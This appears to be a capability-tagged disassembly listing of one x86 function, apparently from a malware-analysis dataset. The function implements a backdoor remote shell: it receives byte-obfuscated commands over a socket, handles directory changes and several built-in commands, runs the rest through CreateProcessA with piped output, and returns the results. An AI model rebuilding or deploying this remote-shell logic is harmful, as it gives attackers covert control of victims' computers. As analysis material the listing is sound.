Function at 0x1000ff58
Capabilities:
Check for time delay via gettickcount
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Get common file path
Read file on windows
Receive data
Receive data on socket
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x16c0
call fcn.10014f70
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
push 0x41
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x1bf]
mov byte [ebp - 0x1c0], bl
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0xc], ebx
push eax
push 0x104
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x1c0]
push 0x10095c5c
push eax
call sub.MSVCRT.dll_strcat
pop ecx
xor eax, eax
pop ecx
lea edi, [ebp - 0xebf]
mov ecx, 0xff
mov byte [ebp - 0xec0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.10003555
mov ecx, eax
mov edi, 0xea60
imul ecx, ecx, 0x3e8
mov eax, ecx
xor edx, edx
mov esi, edi
push dword [0x1008e5d0]
div esi
mov esi, 0x3e8
mov dword [ebp - 0x14], ecx
mov eax, edx
xor edx, edx
div esi
mov esi, 0x36ee80
xor edx, edx
mov ebx, esi
push eax
mov eax, ecx
div ebx
mov ebx, edi
mov eax, edx
xor edx, edx
div ebx
xor edx, edx
push eax
mov eax, ecx
mov ecx, 0x5265c00
mov ebx, ecx
div ebx
mov ebx, esi
mov eax, edx
xor edx, edx
div ebx
xor edx, edx
mov ebx, ecx
push eax
mov eax, dword [ebp - 0x14]
div ebx
xor edx, edx
mov ebx, edi
push eax
mov eax, dword [ebp - 8]
div ebx
mov ebx, 0x3e8
mov eax, edx
xor edx, edx
div ebx
xor edx, edx
mov ebx, esi
push eax
mov eax, dword [ebp - 8]
div ebx
mov eax, edx
xor edx, edx
div edi
xor edx, edx
mov edi, ecx
push eax
mov eax, dword [ebp - 8]
div edi
mov eax, edx
xor edx, edx
div esi
xor edx, edx
push eax
mov eax, dword [ebp - 8]
div ecx
push eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x1e]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x24]
push eax
lea eax, [ebp - 0xec0]
push 0x10095b44
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x44
xor ebx, ebx
lea eax, [ebp - 0xec0]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0xec0]
push eax
push dword [ebp + 8]
call fcn.100038ee
add esp, 0x10
cmp eax, 0xffffffff
je 0x10010714
lea eax, [ebp - 0x1c0]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x1c0]
push eax
push dword [ebp + 8]
call fcn.100038ee
add esp, 0x10
cmp eax, 0xffffffff
je 0x10010714
mov esi, 0x100937f8
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0xa7]
mov byte [ebp - 0xa8], bl
mov edx, 0xff
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xabf]
mov byte [ebp - 0xac0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x5bf]
mov byte [ebp - 0x5c0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x16bf]
mov byte [ebp - 0x16c0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x30]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x30], 0xc
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x10010714
lea eax, [ebp - 0x74]
mov dword [ebp - 0x74], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 0x10]
push 0x400
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xac0]
mov word [ebp - 0x44], bx
push eax
mov dword [ebp - 0x48], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp dword [0x1008e5c4], ebx
je 0x100101d7
push 0x10095b34
jmp 0x100101dc
push 0x10095b20
lea eax, [ebp - 0xac0]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x5c0]
pop ecx
push 0xff
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor edi, edi
push ebx
lea eax, [ebp - 1]
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10010714
cmp eax, ebx
je 0x10010714
mov al, byte [ebp - 1]
sub al, byte [0x1008e5d0]
cmp al, 8
mov byte [ebp - 1], al
je 0x1001023b
mov byte [ebp + edi - 0x5c0], al
jmp 0x10010244
dec edi
mov byte [ebp + edi - 0x5c0], bl
dec edi
cmp al, 0xa
je 0x1001025f
cmp al, 0xd
je 0x1001025f
cmp al, 3
je 0x10010266
cmp al, bl
je 0x100101ff
inc edi
cmp edi, 0xff
jl 0x10010201
jmp 0x10010266
mov byte [ebp + edi - 0x5c0], bl
lea eax, [ebp - 0x5c0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10010107
lea eax, [ebp - 0x5c0]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x5c0]
push eax
push dword [ebp + 8]
call fcn.100038ee
add esp, 0x10
cmp eax, 0xffffffff
je 0x10010714
push ebx
push 2
pop edi
push edi
push esi
push dword [ebp + 8]
call fcn.100038ee
add esp, 0x10
cmp eax, 0xffffffff
je 0x10010714
push 4
lea eax, [ebp - 0x5c0]
push 0x10095b18
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
je 0x10010714
push 4
lea eax, [ebp - 0x5c0]
push 0x10095b10
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
je 0x10010714
push edi
lea eax, [ebp - 0x5c0]
push 0x10095b0c
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10010357
lea eax, [ebp - 0x5bd]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x1c0]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x1c0]
push 0x10095c5c
push eax
call sub.MSVCRT.dll_strcat
push ebx
push edi
push esi
push dword [ebp + 8]
call fcn.100038ee
add esp, 0x18
jmp 0x100106d3
cmp byte [ebp - 0x5bf], 0x3a
jne 0x10010379
lea eax, [ebp - 0x5c0]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, edi
pop ecx
jne 0x10010379
lea eax, [ebp - 0x5c0]
jmp 0x1001031a
push 7
lea eax, [ebp - 0x5c0]
push 0x10095b04
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100103d4
push dword [0x1008e5d0]
lea eax, [ebp - 0x16c0]
push 0x10095af4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x16c0]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x16c0]
push eax
push dword [ebp + 8]
call fcn.100038ee
add esp, 0x10
jmp 0x100106d3
push 4
lea eax, [ebp - 0x5c0]
push 0x10095aec
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100103fc
push dword [ebp + 8]
call fcn.10004cff
pop ecx
jmp 0x100106d3
push 6
lea eax, [ebp - 0x5c0]
push 0x10095ae4
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10010420
push dword [ebp + 8]
call fcn.10004dca
jmp 0x100103f6
push 8
lea eax, [ebp - 0x5c0]
push 0x10095ad8
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10010444
push dword [ebp + 8]
call fcn.10004e79
jmp 0x100103f6
push 9
lea eax, [ebp - 0x5c0]
push 0x10095acc
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10010468
push dword [ebp + 8]
call fcn.100052a2
jmp 0x100103f6
push 5
lea eax, [ebp - 0x5c0]
push 0x10095ac4
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x1001048f
push dword [ebp + 8]
call fcn.10004ee0
jmp 0x100103f6
push 5
lea eax, [ebp - 0x5c0]
push 0x10095abc
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100104b6
push dword [ebp + 8]
call fcn.1000523d
jmp 0x100103f6
push 7
lea eax, [ebp - 0x5c0]
push 0x10095ab4
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100104dd
push dword [ebp + 8]
call fcn.100051b6
jmp 0x100103f6
push 8
lea eax, [ebp - 0x5c0]
push 0x10095aa8
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10010504
push dword [ebp + 8]
call fcn.1000fb44
jmp 0x100103f6
push 6
lea eax, [ebp - 0x5c0]
push 0x10095aa0
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x100105da
push 0x3f
lea edi, [ebp - 0x6bf]
pop ecx
mov byte [ebp - 0x6c0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x5c0]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 7
pop ecx
jbe 0x100105b2
lea eax, [ebp - 0x5b9]
push eax
call fcn.100036fe
test eax, eax
pop ecx
lea eax, [ebp - 0x5b9]
push eax
je 0x10010593
call dword [sym.imp.MSVCRT.dll_atoi]
lea ecx, [ebp - 0x6c0]
mov dword [esp], 0x100
push ecx
push eax
call fcn.10003c0d
lea eax, [ebp - 0x6c0]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
test eax, eax
je 0x10010107
jmp 0x100105c5
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x5b9]
push eax
lea eax, [ebp - 0x6c0]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x10
jmp 0x100105c5
lea eax, [ebp - 0x6c0]
push 0x10094e54
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push dword [ebp + 8]
lea eax, [ebp - 0x6c0]
push eax
call fcn.1000d5b0
pop ecx
jmp 0x100103f6
lea eax, [ebp - 0x5c0]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x5c0]
push eax
lea eax, [ebp - 0xac0]
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0x10
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
lea eax, [ebp - 0xac0]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10010658
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xa8]
push 0x10095a74
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0xa8]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0xa8]
jmp 0x100106ff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 8]
push ebx
push eax
mov edi, 0x800
lea eax, [ebp - 0x16c0]
push edi
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100106b6
push ebx
lea eax, [ebp - 0x16c0]
push dword [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.100038ee
add esp, 0x10
cmp eax, 0xffffffff
je 0x10010714
push edi
lea eax, [ebp - 0x16c0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10010661
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 2
push esi
push dword [ebp + 8]
call fcn.100038ee
add esp, 0x10
cmp eax, 0xffffffff
je 0x10010714
lea eax, [ebp - 0x5c0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x100106ea
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [ebp - 0x1c0]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x1c0]
push eax
push dword [ebp + 8]
call fcn.100038ee
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10010107
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [ebp - 0xc], ebx
je 0x1001072b
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x10], ebx
pop edi
pop esi
pop ebx
je 0x1001073c
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
leave
ret